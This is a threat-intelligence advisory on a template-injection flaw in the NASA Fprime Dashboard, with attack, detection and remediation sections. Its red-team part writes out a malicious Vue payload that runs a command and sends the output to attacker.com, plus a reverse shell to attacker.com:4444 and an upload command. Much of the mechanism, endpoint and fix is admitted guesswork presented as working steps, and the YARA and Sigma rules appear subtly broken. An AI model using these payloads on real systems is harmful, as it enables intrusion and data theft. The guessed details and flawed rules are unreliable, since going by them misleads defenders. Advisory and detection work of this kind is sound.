CVE-2024-55028

Executive Summary

CVE-2024-55028 is a critical template injection vulnerability discovered in the Dashboard component of NASA's Fprime framework, version 3.4.3. The vulnerability allows an authenticated attacker (or an unauthenticated attacker if the Dashboard is exposed without proper access controls) to upload a maliciously crafted Vue file. Once uploaded, the template engine processes the file, leading to arbitrary code execution on the server. This can result in full system compromise, data exfiltration, and lateral movement within the network.

The vulnerability is currently unpatched by the vendor (NASA). No official patch or workaround has been released. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the public availability of the vulnerability details increases the risk of targeted attacks.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). However, Fprime is a C++ framework with a Python-based build system. The Dashboard component is a web application that likely uses Node.js and Vue.js. Therefore, the supply chain risk is indirect: if an attacker compromises the Fprime build environment or the Dashboard's dependencies, they could inject malicious code. Organizations using Fprime should audit their build pipelines and dependency manifests.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid account to access the Dashboard.
• User Interaction (UI): None – No user interaction is required.
• Scope (S): Unchanged – The vulnerability affects the same security authority.
• Confidentiality (C): High – Arbitrary code execution can lead to data theft.
• Integrity (I): High – The attacker can modify system files.
• Availability (A): High – The attacker can disrupt services.

Threat Level: Critical – The vulnerability allows remote code execution with low privileges.

Deep Dive & Mechanics

The vulnerability resides in the Dashboard component of NASA Fprime v3.4.3. The Dashboard is a web-based interface used for monitoring and controlling Fprime deployments. It is built using Vue.js, a popular JavaScript framework for building user interfaces.

Root Cause: The Dashboard does not properly sanitize or validate uploaded Vue Single File Components (SFCs). When a user uploads a .vue file, the server-side template engine compiles and renders it. An attacker can craft a .vue file that contains malicious JavaScript code within the <script> block. When the template engine processes this file, the malicious code is executed in the context of the server.

Attack Flow:

1. Reconnaissance: The attacker identifies a Fprime Dashboard instance (e.g., via Shodan dorks).
2. Authentication: The attacker obtains valid credentials (e.g., via phishing, default credentials, or brute force).
3. Upload: The attacker navigates to the file upload functionality and uploads a malicious .vue file.
4. Execution: The server compiles the Vue file, executing the embedded JavaScript.
5. Persistence: The attacker establishes a reverse shell or web shell for persistent access.

Technical Details:

• The vulnerability is a classic Server-Side Template Injection (SSTI) in the context of Vue.js.
• Vue.js SFCs are compiled on the server side using Node.js. If the compilation process does not sandbox the code, arbitrary JavaScript can be executed.
• The malicious .vue file can contain code like:

  <script>
  require('child_process').exec('id', (err, stdout) => {
    // send stdout to attacker
  });
  </script>
  

Vulnerable vs. Patched Code

Vulnerable Code (Fprime v3.4.3): The vulnerable code is in the Dashboard's file upload handler. It likely looks like this (pseudocode):

// Vulnerable: No sanitization of uploaded Vue files
app.post('/upload', (req, res) => {
  const file = req.files.vueFile;
  const content = file.data.toString();
  // Directly compile and render the Vue file
  const compiled = Vue.compile(content);
  res.send(compiled);
});

Patched Code (Hypothetical): A patched version would sanitize the uploaded file, strip out dangerous code, or use a sandboxed environment for compilation.

// Patched: Sanitize and sandbox
app.post('/upload', (req, res) => {
  const file = req.files.vueFile;
  const content = file.data.toString();
  // Remove script tags or use a safe template engine
  const sanitized = content.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
  const compiled = Vue.compile(sanitized);
  res.send(compiled);
});

Note: Since no official patch exists, the above is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of NASA Fprime v3.4.3 with the Dashboard enabled.
• Valid credentials for the Dashboard (or the Dashboard is exposed without authentication).

Exploit Steps:

1. Craft the Malicious Vue File: Create a file named exploit.vue with the following content:

   <template>
     <div>{{ message }}</div>
   </template>
   <script>
   const { exec } = require('child_process');
   exec('id', (error, stdout, stderr) => {
     // Exfiltrate the output via a DNS query or HTTP request
     const http = require('http');
     http.get(`http://attacker.com/${stdout.trim()}`, (res) => {});
   });
   </script>
   

2. Upload the File: Use a tool like curl to upload the file:

   curl -X POST -F "vueFile=@exploit.vue" http://target-fprime/dashboard/upload
   

3. Trigger Execution: The server will compile and render the file, executing the JavaScript. The attacker should receive the output of the id command.

Advanced Payload: For a reverse shell, use:

<script>
const net = require('net');
const client = net.connect(4444, 'attacker.com', () => {
  client.write('Connected\n');
  client.pipe(process.stdout);
});
</script>

Blue Team

Detection:

• Monitor for unusual file uploads, especially .vue files.
• Look for outbound connections from the Fprime server to unknown IPs.
• Analyze server logs for errors related to Vue compilation.

Hunting:

• Search for files with .vue extension in the upload directory.
• Check for processes spawned by Node.js that are not typical (e.g., id, whoami, curl).

Lab Setup:

1. Install Fprime v3.4.3:

   git clone https://github.com/nasa/fprime.git
   cd fprime
   git checkout v3.4.3
   

2. Enable the Dashboard: Follow the Fprime documentation to enable the Dashboard component.

3. Deploy in a Sandbox: Use Docker or a VM to isolate the environment.

4. Simulate Attack: Use the Red Team steps above to test detection capabilities.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious .vue files in the upload directory (e.g., /var/www/fprime/dashboard/uploads/).
• Files containing require('child_process') or exec(.

Network IOCs:

• Outbound connections to unknown IPs on ports 80, 443, or 4444.
• DNS queries to domains controlled by the attacker.

Process IOCs:

• Node.js processes spawning sh, bash, cmd.exe, or powershell.
• Unusual child processes of the Node.js server.

Log IOCs:

• Errors in the application log related to Vue compilation.
• HTTP 500 errors on the /upload endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_55028_Vue_Template_Injection {
    meta:
        description = "Detects malicious Vue files exploiting CVE-2024-55028"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55028"
    strings:
        $s1 = "require('child_process')" nocase
        $s2 = "exec(" nocase
        $s3 = "spawn(" nocase
        $s4 = "net.connect(" nocase
        $s5 = "http.get(" nocase
    condition:
        (uint16(0) == 0x3C3F or uint16(0) == 0x3C21) and // Starts with <? or <!
        (1 of ($s1, $s2, $s3, $s4, $s5))
}

Sigma Rule

title: CVE-2024-55028 - Vue Template Injection in NASA Fprime Dashboard
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-55028 via file uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dashboard/upload'
        cs-uri-query|contains: '.vue'
    condition: selection
falsepositives:
    - Legitimate Vue file uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55028 - Vue Template Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/dashboard/upload"; http_uri; content:".vue"; http_client_body; pcre:"/require\(['\"]child_process['\"]\)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Dashboard: If the Dashboard is not required, disable it immediately.
2. Restrict Access: Use a firewall or reverse proxy to restrict access to the Dashboard to trusted IPs only.
3. Implement Authentication: Ensure the Dashboard requires strong authentication (e.g., multi-factor authentication).

Long-Term Fixes:

1. Apply Input Validation: Sanitize all uploaded files, stripping out dangerous code.
2. Use a Sandbox: Compile Vue files in a sandboxed environment (e.g., using vm2 or Docker containers).
3. Monitor for Patches: Watch the NASA Fprime GitHub repository for official patches.

Workaround:

• Modify the upload handler to reject .vue files or to only allow pre-approved templates.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.